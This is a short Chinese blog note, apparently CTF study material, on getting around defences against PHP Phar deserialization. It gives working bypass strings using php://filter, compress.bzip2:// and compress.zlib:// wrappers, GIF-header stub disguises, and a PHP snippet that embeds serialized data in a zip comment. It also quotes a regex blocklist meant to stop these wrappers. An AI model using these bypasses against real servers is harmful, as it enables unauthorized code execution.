绕过

格式

利用 Phar 反序列化的第一步就是需要将 Phar 文件上传到服务器,若服务器存在防护,那就需要更改文件格式

比如只可以上传gif文件

PHP 通过 Stub 里的__HALT_COMPILER(); 来识别这个文件是 Phar 文件,对于其他无限制。

故 对文件后缀、文件名进行更改,其实质仍然是 Phar 文件,所以不用担心文件后缀的问题

绕过phar

if (preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){
  die();
}
通过协议绕过
1、使用filter伪协议来进行绕过
php://filter/read=convert.base64-encode/resource=phar://test.phar

2、使用bzip2协议来进行绕过
compress.bzip2://phar:///test.phar/test.txt

3、使用zlib协议进行绕过
compress.zlib://phar:///home/sx/test.phar/test.txt

绕过__HALT_COMPILER检测

可以通过前面加上图片头绕过

$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");

也可将 Phar 文件的内容写到压缩包的注释中,压缩为 zip 文件

<?php
$a = serialize($a);
$zip = new ZipArchive();
$res = $zip->open('phar.zip',ZipArchive::CREATE);
$zip->addFromString('flag.txt', 'flag is here');
$zip->setArchiveComment($a);
$zip->close();    
?>

或者是将生成的 Phar 文件进行 gzip 压缩,压缩命令

gzip test.phar
//gzip 文件名.phar
压缩后同样也可以进行反序列化
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇